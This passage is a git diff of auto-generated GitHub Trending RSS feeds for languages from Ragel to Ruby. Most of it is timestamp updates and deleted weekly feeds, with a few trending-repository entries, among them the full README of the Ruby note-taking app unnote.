046f9b3eb9f..00000000000 --- a/ragel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ragel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:27Z - Weekly Trending of Ragel in GitHub - - \ No newline at end of file diff --git a/raku/daily/index.xml b/raku/daily/index.xml index 33dd53cce9a..955dd2c83a1 100644 --- a/raku/daily/index.xml +++ b/raku/daily/index.xml @@ -1,14 +1,7 @@ GitHub Raku Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:54Z + 2023-09-25T01:39:06Z Daily Trending of Raku in GitHub - - kimryan/perl6-Lingua-EN-Sentence - 2023-09-24T01:39:54Z - tag:github.com,2023-09-24:/kimryan/perl6-Lingua-EN-Sentence - - <p>Perl6 Port of the Lingua::EN::Sentence CPAN module</p><hr> - \ No newline at end of file diff --git a/raku/weekly/index.xml b/raku/weekly/index.xml deleted file mode 100644 index 4cac7210396..00000000000 --- a/raku/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Raku Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:30Z - Weekly Trending of Raku in GitHub - - \ No newline at end of file diff --git a/raml/daily/index.xml b/raml/daily/index.xml index a13b15b9343..4d66159f44d 100644 --- a/raml/daily/index.xml +++ b/raml/daily/index.xml @@ -1,7 +1,7 @@ GitHub RAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:53Z + 2023-09-25T01:39:07Z Daily Trending of RAML in GitHub \ No newline at end of file diff --git a/raml/weekly/index.xml b/raml/weekly/index.xml deleted file mode 100644 index f9e188858ca..00000000000 --- a/raml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RAML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:28Z - Weekly Trending of RAML in GitHub - - \ No newline at end of file diff --git a/rascal/daily/index.xml b/rascal/daily/index.xml index 331cca56c0a..e869e95dba3 100644 --- a/rascal/daily/index.xml +++ b/rascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:56Z + 2023-09-25T01:39:10Z Daily Trending of Rascal in GitHub \ No newline at end of file diff --git a/rascal/weekly/index.xml b/rascal/weekly/index.xml deleted file mode 100644 index 6ada32e78db..00000000000 --- a/rascal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Rascal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:33Z - Weekly Trending of Rascal in GitHub - - \ No newline at end of file diff --git a/raw-token-data/daily/index.xml b/raw-token-data/daily/index.xml index 0439307344e..f69ff709247 100644 --- a/raw-token-data/daily/index.xml +++ b/raw-token-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub Raw token data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:57Z + 2023-09-25T01:39:11Z Daily Trending of Raw token data in GitHub \ No newline at end of file diff --git a/raw-token-data/weekly/index.xml b/raw-token-data/weekly/index.xml deleted file mode 100644 index a4b6777cd02..00000000000 --- a/raw-token-data/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Raw token data Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:32Z - Weekly Trending of Raw token data in GitHub - - \ No newline at end of file diff --git a/rdoc/daily/index.xml b/rdoc/daily/index.xml index 2f7af0fb6b6..ae64e715e50 100644 --- a/rdoc/daily/index.xml +++ b/rdoc/daily/index.xml @@ -1,7 +1,7 @@ GitHub RDoc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:58Z + 2023-09-25T01:39:08Z Daily Trending of RDoc in GitHub \ No newline at end of file diff --git a/rdoc/weekly/index.xml b/rdoc/weekly/index.xml deleted file mode 100644 index a04cf07540e..00000000000 --- a/rdoc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RDoc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:33Z - Weekly Trending of RDoc in GitHub - - \ No newline at end of file diff --git a/readline-config/daily/index.xml b/readline-config/daily/index.xml index 51bcb290ca1..9217ff4942f 100644 --- a/readline-config/daily/index.xml +++ b/readline-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Readline Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:59Z + 2023-09-25T01:39:12Z Daily Trending of Readline Config in GitHub \ No newline at end of file diff --git a/readline-config/weekly/index.xml b/readline-config/weekly/index.xml deleted file mode 100644 index 8ddc01dd0f0..00000000000 --- a/readline-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Readline Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:36Z - Weekly Trending of Readline Config in GitHub - - \ No newline at end of file diff --git a/realbasic/daily/index.xml b/realbasic/daily/index.xml index 2d01b97316c..712d38b4be7 100644 --- a/realbasic/daily/index.xml +++ b/realbasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub REALbasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:00Z + 2023-09-25T01:39:14Z Daily Trending of REALbasic in GitHub \ No newline at end of file diff --git a/realbasic/weekly/index.xml b/realbasic/weekly/index.xml deleted file mode 100644 index 7f905631248..00000000000 --- a/realbasic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub REALbasic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:35Z - Weekly Trending of REALbasic in GitHub - - \ No newline at end of file diff --git a/reason/daily/index.xml b/reason/daily/index.xml index fac155eb85a..dcbb1241e2c 100644 --- a/reason/daily/index.xml +++ b/reason/daily/index.xml @@ -1,7 +1,7 @@ GitHub Reason Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:01Z + 2023-09-25T01:39:15Z Daily Trending of Reason in GitHub \ No newline at end of file diff --git a/reason/weekly/index.xml b/reason/weekly/index.xml deleted file mode 100644 index 2421102bfbf..00000000000 --- a/reason/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Reason Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:37Z - Weekly Trending of Reason in GitHub - - \ No newline at end of file diff --git a/rebol/daily/index.xml b/rebol/daily/index.xml index d1936c81bd4..8935fca06d2 100644 --- a/rebol/daily/index.xml +++ b/rebol/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rebol Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:03Z + 2023-09-25T01:39:16Z Daily Trending of Rebol in GitHub \ No newline at end of file diff --git a/rebol/weekly/index.xml b/rebol/weekly/index.xml deleted file mode 100644 index b35e7805bd6..00000000000 --- a/rebol/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Rebol Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:41Z - Weekly Trending of Rebol in GitHub - - - refaktor/Rebol2-PBKDF2 - 2023-09-24T01:59:41Z - tag:github.com,2023-09-24:/refaktor/Rebol2-PBKDF2 - - <p>Implementation of PBKDF2 in Rebol</p><hr> - - \ No newline at end of file diff --git a/record-jar/daily/index.xml b/record-jar/daily/index.xml index 31f7be84582..0ea71af0f89 100644 --- a/record-jar/daily/index.xml +++ b/record-jar/daily/index.xml @@ -1,7 +1,7 @@ GitHub Record Jar Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:04Z + 2023-09-25T01:39:18Z Daily Trending of Record Jar in GitHub \ No newline at end of file diff --git a/record-jar/weekly/index.xml b/record-jar/weekly/index.xml deleted file mode 100644 index 9a8fc47e5fa..00000000000 --- a/record-jar/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Record Jar Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:40Z - Weekly Trending of Record Jar in GitHub - - \ No newline at end of file diff --git a/red/daily/index.xml b/red/daily/index.xml index 3042f21ad0d..bb5ac584e7d 100644 --- a/red/daily/index.xml +++ b/red/daily/index.xml @@ -1,7 +1,7 @@ GitHub Red Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:05Z + 2023-09-25T01:39:19Z Daily Trending of Red in GitHub \ No newline at end of file diff --git a/red/weekly/index.xml b/red/weekly/index.xml deleted file mode 100644 index 052570b193a..00000000000 --- a/red/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Red Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:38Z - Weekly Trending of Red in GitHub - - \ No newline at end of file diff --git a/redcode/daily/index.xml b/redcode/daily/index.xml index f3ed3073c8c..6a8d1739000 100644 --- a/redcode/daily/index.xml +++ b/redcode/daily/index.xml @@ -1,7 +1,7 @@ GitHub Redcode Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:05Z + 2023-09-25T01:39:17Z Daily Trending of Redcode in GitHub \ No newline at end of file diff --git a/redcode/weekly/index.xml b/redcode/weekly/index.xml deleted file mode 100644 index 4ca2adbb11d..00000000000 --- a/redcode/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Redcode Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:39Z - Weekly Trending of Redcode in GitHub - - \ No newline at end of file diff --git a/redirect-rules/daily/index.xml b/redirect-rules/daily/index.xml index 27cb6c4dbf5..e575436d46a 100644 --- a/redirect-rules/daily/index.xml +++ b/redirect-rules/daily/index.xml @@ -1,7 +1,7 @@ GitHub Redirect Rules Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:06Z + 2023-09-25T01:39:20Z Daily Trending of Redirect Rules in GitHub \ No newline at end of file diff --git a/redirect-rules/weekly/index.xml b/redirect-rules/weekly/index.xml deleted file mode 100644 index efa2dc12da1..00000000000 --- a/redirect-rules/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Redirect Rules Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:42Z - Weekly Trending of Redirect Rules in GitHub - - \ No newline at end of file diff --git a/regular-expression/daily/index.xml b/regular-expression/daily/index.xml index 5a2ec6c2ba0..946d2f91990 100644 --- a/regular-expression/daily/index.xml +++ b/regular-expression/daily/index.xml @@ -1,7 +1,7 @@ GitHub Regular Expression Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:07Z + 2023-09-25T01:39:21Z Daily Trending of Regular Expression in GitHub \ No newline at end of file diff --git a/regular-expression/weekly/index.xml b/regular-expression/weekly/index.xml deleted file mode 100644 index 4938439e44e..00000000000 --- a/regular-expression/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Regular Expression Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:43Z - Weekly Trending of Regular Expression in GitHub - - \ No newline at end of file diff --git a/ren'py/daily/index.xml b/ren'py/daily/index.xml index ba3bd9a9998..020c9e70a96 100644 --- a/ren'py/daily/index.xml +++ b/ren'py/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ren'Py Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:09Z + 2023-09-25T01:39:22Z Daily Trending of Ren'Py in GitHub \ No newline at end of file diff --git a/ren'py/weekly/index.xml b/ren'py/weekly/index.xml deleted file mode 100644 index a4c5d911c88..00000000000 --- a/ren'py/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ren'Py Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:44Z - Weekly Trending of Ren'Py in GitHub - - \ No newline at end of file diff --git a/renderscript/daily/index.xml b/renderscript/daily/index.xml index 7647a121b9b..96753c9c39f 100644 --- a/renderscript/daily/index.xml +++ b/renderscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub RenderScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:08Z + 2023-09-25T01:39:23Z Daily Trending of RenderScript in GitHub \ No newline at end of file diff --git a/renderscript/weekly/index.xml b/renderscript/weekly/index.xml deleted file mode 100644 index 1a362dc46fa..00000000000 --- a/renderscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RenderScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:42Z - Weekly Trending of RenderScript in GitHub - - \ No newline at end of file diff --git a/rescript/daily/index.xml b/rescript/daily/index.xml index 36601e49e8c..b97e20923cd 100644 --- a/rescript/daily/index.xml +++ b/rescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ReScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:12Z + 2023-09-25T01:39:24Z Daily Trending of ReScript in GitHub \ No newline at end of file diff --git a/rescript/weekly/index.xml b/rescript/weekly/index.xml deleted file mode 100644 index 03719987e1f..00000000000 --- a/rescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ReScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:47Z - Weekly Trending of ReScript in GitHub - - \ No newline at end of file diff --git a/restructuredtext/daily/index.xml b/restructuredtext/daily/index.xml index f36619d220a..532da9dd52c 100644 --- a/restructuredtext/daily/index.xml +++ b/restructuredtext/daily/index.xml @@ -1,7 +1,7 @@ GitHub reStructuredText Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:11Z + 2023-09-25T01:39:25Z Daily Trending of reStructuredText in GitHub \ No newline at end of file diff --git a/restructuredtext/weekly/index.xml b/restructuredtext/weekly/index.xml deleted file mode 100644 index 9a74fa7cc1f..00000000000 --- a/restructuredtext/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub reStructuredText Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:48Z - Weekly Trending of reStructuredText in GitHub - - \ No newline at end of file diff --git a/rexx/daily/index.xml b/rexx/daily/index.xml index 52be3fe9bcb..dd56560307d 100644 --- a/rexx/daily/index.xml +++ b/rexx/daily/index.xml @@ -1,7 +1,7 @@ GitHub REXX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:13Z + 2023-09-25T01:39:26Z Daily Trending of REXX in GitHub \ No newline at end of file diff --git a/rexx/weekly/index.xml b/rexx/weekly/index.xml deleted file mode 100644 index 0f1ab2c9677..00000000000 --- a/rexx/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub REXX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:45Z - Weekly Trending of REXX in GitHub - - \ No newline at end of file diff --git a/rich-text-format/daily/index.xml b/rich-text-format/daily/index.xml index cc717cdc805..037c3ecfb16 100644 --- a/rich-text-format/daily/index.xml +++ b/rich-text-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rich Text Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:17Z + 2023-09-25T01:39:31Z Daily Trending of Rich Text Format in GitHub \ No newline at end of file diff --git a/rich-text-format/weekly/index.xml b/rich-text-format/weekly/index.xml deleted file mode 100644 index 0e6c769057d..00000000000 --- a/rich-text-format/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Rich Text Format Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:51Z - Weekly Trending of Rich Text Format in GitHub - - \ No newline at end of file diff --git a/ring/daily/index.xml b/ring/daily/index.xml index 7b5509d68f9..6ce72407d51 100644 --- a/ring/daily/index.xml +++ b/ring/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ring Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:15Z + 2023-09-25T01:39:28Z Daily Trending of Ring in GitHub \ No newline at end of file diff --git a/ring/weekly/index.xml b/ring/weekly/index.xml deleted file mode 100644 index 3fbc4c4c834..00000000000 --- a/ring/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ring Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:49Z - Weekly Trending of Ring in GitHub - - \ No newline at end of file diff --git a/riot/daily/index.xml b/riot/daily/index.xml index 1284a961e1e..2add06e5d74 100644 --- a/riot/daily/index.xml +++ b/riot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Riot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:18Z + 2023-09-25T01:39:29Z Daily Trending of Riot in GitHub \ No newline at end of file diff --git a/riot/weekly/index.xml b/riot/weekly/index.xml deleted file mode 100644 index 728d6e44bb1..00000000000 --- a/riot/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Riot Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:51Z - Weekly Trending of Riot in GitHub - - \ No newline at end of file diff --git a/rmarkdown/daily/index.xml b/rmarkdown/daily/index.xml index bf9b756836c..833aeccbe83 100644 --- a/rmarkdown/daily/index.xml +++ b/rmarkdown/daily/index.xml @@ -1,7 +1,7 @@ GitHub RMarkdown Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:14Z + 2023-09-25T01:39:29Z Daily Trending of RMarkdown in GitHub \ No newline at end of file diff --git a/rmarkdown/weekly/index.xml b/rmarkdown/weekly/index.xml deleted file mode 100644 index c3950a48e4e..00000000000 --- a/rmarkdown/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RMarkdown Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:52Z - Weekly Trending of RMarkdown in GitHub - - \ No newline at end of file diff --git a/robotframework/daily/index.xml b/robotframework/daily/index.xml index 9ca4cceda4b..3a7ff8f486c 100644 --- a/robotframework/daily/index.xml +++ b/robotframework/daily/index.xml @@ -1,14 +1,7 @@ GitHub RobotFramework Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:21Z + 2023-09-25T01:39:33Z Daily Trending of RobotFramework in GitHub - - 3mdeb/sonoff-rest-api - 2023-09-24T01:40:21Z - tag:github.com,2023-09-24:/3mdeb/sonoff-rest-api - - <p>Robot Framework REST API dedicated for Sonoff controlling</p><hr> - \ No newline at end of file diff --git a/robotframework/weekly/index.xml b/robotframework/weekly/index.xml deleted file mode 100644 index 53f68e94bc3..00000000000 --- a/robotframework/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub RobotFramework Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:54Z - Weekly Trending of RobotFramework in GitHub - - - openbmc/openbmc-test-automation - 2023-09-24T01:59:54Z - tag:github.com,2023-09-24:/openbmc/openbmc-test-automation - - <p></p><hr> - - \ No newline at end of file diff --git a/robots.txt/daily/index.xml b/robots.txt/daily/index.xml index 8d95d6c268a..af9e2fe7a5c 100644 --- a/robots.txt/daily/index.xml +++ b/robots.txt/daily/index.xml @@ -1,7 +1,7 @@ GitHub robots.txt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:20Z + 2023-09-25T01:39:32Z Daily Trending of robots.txt in GitHub \ No newline at end of file diff --git a/robots.txt/weekly/index.xml b/robots.txt/weekly/index.xml deleted file mode 100644 index dcd5ff236c6..00000000000 --- a/robots.txt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub robots.txt Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:55Z - Weekly Trending of robots.txt in GitHub - - \ No newline at end of file diff --git a/roff-manpage/daily/index.xml b/roff-manpage/daily/index.xml index 04fe8004ec3..e6ed6fccd7e 100644 --- a/roff-manpage/daily/index.xml +++ b/roff-manpage/daily/index.xml @@ -1,7 +1,7 @@ GitHub Roff Manpage Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:22Z + 2023-09-25T01:39:34Z Daily Trending of Roff Manpage in GitHub \ No newline at end of file diff --git a/roff-manpage/weekly/index.xml b/roff-manpage/weekly/index.xml deleted file mode 100644 index 8407eab2378..00000000000 --- a/roff-manpage/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Roff Manpage Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:53Z - Weekly Trending of Roff Manpage in GitHub - - \ No newline at end of file diff --git a/roff/daily/index.xml b/roff/daily/index.xml index 2394985a6fd..cc3d5ca0ef0 100644 --- a/roff/daily/index.xml +++ b/roff/daily/index.xml @@ -1,7 +1,7 @@ GitHub Roff Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:24Z + 2023-09-25T01:39:36Z Daily Trending of Roff in GitHub \ No newline at end of file diff --git a/roff/weekly/index.xml b/roff/weekly/index.xml deleted file mode 100644 index 3f4c7cb023d..00000000000 --- a/roff/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Roff Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:57Z - Weekly Trending of Roff in GitHub - - \ No newline at end of file diff --git a/rouge/daily/index.xml b/rouge/daily/index.xml index 1f01a580a23..d07dc361a4a 100644 --- a/rouge/daily/index.xml +++ b/rouge/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rouge Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:26Z + 2023-09-25T01:39:38Z Daily Trending of Rouge in GitHub \ No newline at end of file diff --git a/rouge/weekly/index.xml b/rouge/weekly/index.xml deleted file mode 100644 index 03469c030f8..00000000000 --- a/rouge/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Rouge Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:06Z - Weekly Trending of Rouge in GitHub - - \ No newline at end of file diff --git a/rpc/daily/index.xml b/rpc/daily/index.xml index 039ed0e07ab..7175a287f02 100644 --- a/rpc/daily/index.xml +++ b/rpc/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:25Z + 2023-09-25T01:39:39Z Daily Trending of RPC in GitHub \ No newline at end of file diff --git a/rpc/weekly/index.xml b/rpc/weekly/index.xml deleted file mode 100644 index aed2ea3cfcd..00000000000 --- a/rpc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RPC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:59Z - Weekly Trending of RPC in GitHub - - \ No newline at end of file diff --git a/rpgle/daily/index.xml b/rpgle/daily/index.xml index 0b874e7893f..bcc485e0d19 100644 --- a/rpgle/daily/index.xml +++ b/rpgle/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPGLE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:27Z + 2023-09-25T01:39:39Z Daily Trending of RPGLE in GitHub \ No newline at end of file diff --git a/rpgle/weekly/index.xml b/rpgle/weekly/index.xml deleted file mode 100644 index d24f2c9c0ae..00000000000 --- a/rpgle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RPGLE Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:58Z - Weekly Trending of RPGLE in GitHub - - \ No newline at end of file diff --git a/rpm-spec/daily/index.xml b/rpm-spec/daily/index.xml index bf6842c7adb..77642babcdf 100644 --- a/rpm-spec/daily/index.xml +++ b/rpm-spec/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPM Spec Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:30Z + 2023-09-25T01:39:42Z Daily Trending of RPM Spec in GitHub \ No newline at end of file diff --git a/rpm-spec/weekly/index.xml b/rpm-spec/weekly/index.xml deleted file mode 100644 index 457bcc1d7ff..00000000000 --- a/rpm-spec/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RPM Spec Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:11Z - Weekly Trending of RPM Spec in GitHub - - \ No newline at end of file diff --git a/ruby/daily/index.xml b/ruby/daily/index.xml index db1880b11ac..c7ca6b5acd9 100644 --- a/ruby/daily/index.xml +++ b/ruby/daily/index.xml @@ -1,7 +1,28 @@ GitHub Ruby Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:36Z + 2023-09-25T01:39:55Z Daily Trending of Ruby in GitHub + + koffeinfrei/unnote + 2023-09-25T01:39:55Z + tag:github.com,2023-09-25:/koffeinfrei/unnote + + <p>The note taking app that doesn't suck</p><hr><p><a href="https://github.com/panter/unnote/actions/workflows/ci.yml"><img src="https://github.com/koffeinfrei/unnote/actions/workflows/ci.yml/badge.svg?sanitize=true" alt="CI"></a> <a href="https://codeclimate.com/github/panter/mykonote"><img src="https://codeclimate.com/github/codeclimate/codeclimate/badges/gpa.svg?sanitize=true" alt="Code Climate"></a> <a href="https://codebeat.co/projects/github-com-panter-mykonote-main"><img src="https://codebeat.co/badges/6f0e1968-b451-4cb9-84d9-9cc49c68e64f" alt="codebeat badge"></a></p> <h1>unnote</h1> <p>Formerly known as Mykonote.</p> <p><strong>Full / Desktop</strong></p> <p><img src="https://raw.githubusercontent.com/koffeinfrei/unnote/main/screenshot_desktop.png" alt="desktop"></p> <p><strong>Mobile / PWA</strong></p> <p> <img src="https://raw.githubusercontent.com/koffeinfrei/unnote/main/screenshot_mobile_1.png" alt="mobile note" width="49%"> <img src="https://raw.githubusercontent.com/koffeinfrei/unnote/main/screenshot_mobile_2.png" alt="mobile list" width="49%"> </p> <p>The note taking app that doesn't suck. Made under the Mykonian sun.</p> <p>The goal of this project is to provide a solid note taking app with just the core functionality. There won't be any fancy unnecessary features such as a chat. It basically meets the one requirement: Taking and managing private notes.</p> <p>What unnote offers:</p> <ul> <li>A <a href="http://quilljs.com/">solid richtext editor</a> which works properly without ruining the formatting</li> <li><a href="https://github.com/koffeinfrei/quill-task-list">Task lists</a> (aka. todo lists)</li> <li>PWA, so it can be installed as an app on any mobile device <ul> <li>Support for the "share to" functionality of mobile phones. Pretty much any image or text based content can be shared to unnote.</li> </ul> </li> <li>Autosave</li> <li>Permanent edit mode. There's no switching between read and edit mode. Just edit, always.</li> <li>Pseudo offline support, so you don't lose data when the connection is bad or even missing. The next time the internet is up again your edits will be synced to the server.</li> <li>A simple and fast user experience</li> <li>An always available and easy to use search</li> <li>A donkey logo</li> <li><a href="https://www.gnu.org/philosophy/free-sw.html">Free and open source software</a>. There is no <a href="https://en.wikipedia.org/wiki/Vendor_lock-in">vendor lock-in</a> and there will never be any weird business going on with your data.</li> </ul> <h2>Development setup</h2> <p>To get the application started the standard rails setup routine can be executed.</p> <pre><code class="language-bash">$ bin/setup </code></pre> <p>You can now start the application and give it a try at <a href="http://localhost:3000">localhost:3000</a>. There's a demo user <code>user@example.com</code> with the password <code>asdfasdf</code>.</p> <pre><code class="language-bash">$ bin/dev </code></pre> <h3>Testing</h3> <p>For the capybara e2e tests headless firefox / geckodriver is used.</p> <ul> <li><a href="https://www.mozilla.org/en-US/firefox/channel/desktop/">Download latest firefox beta</a></li> <li><a href="https://github.com/mozilla/geckodriver/releases/latest">Download latest geckodriver</a></li> <li>Put both binaries in your <code>$PATH</code></li> </ul> <p>Make sure to build the client before running RSpec.</p> <pre><code class="language-bash">$ bundle exec rake client:build_and_deploy $ bundle exec rspec spec </code></pre> <h3>Releases (Versioning / Changelog)</h3> <p><a href="https://semver.org/">Semantic Versioning</a> is used, obviously.</p> <p>There's a script that bumps the version, generates the changelog entry and creates a corresponding git commit / tag.</p> <pre><code class="language-bash"># bump the major version, e.g. from 1.2.0 to 2.0.0 $ bin/version bump:major # bump the minor version, e.g. from 1.2.0 to 1.3.0 $ bin/version bump:minor # bump the patch version, e.g. from 1.2.0 to 1.2.1 $ bin/version bump:patch </code></pre> <h4>Changelog</h4> <p>For generating the changelog <a href="https://github.com/lerna/lerna-changelog">lerna-changelog</a> is used.</p> <p>To set this up locally you'll need to create the file <code>.lerna-changelog-github-token</code> containing a GitHub access token (with just the <code>public_repo</code> scope).</p> <h2>Links</h2> <ul> <li><a href="https://www.unnote.com">Homepage www.unnote.com</a></li> <li><a href="https://app.unnote.com">Web app at app.unnote.com</a></li> </ul> <h2>License</h2> <pre><code>Copyright 2016 Alexis Reigel &lt;mail@koffeinfrei.org&gt; Copyright 2016 Panter AG &lt;info@panter.ch&gt; This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see &lt;http://www.gnu.org/licenses/&gt;. </code></pre> + + + artfuldodger/cody-coyote + 2023-09-25T01:39:55Z + tag:github.com,2023-09-25:/artfuldodger/cody-coyote + + <p></p><hr><p>== Welcome to Rails</p> <p>Rails is a web-application framework that includes everything needed to create database-backed web applications according to the Model-View-Control pattern.</p> 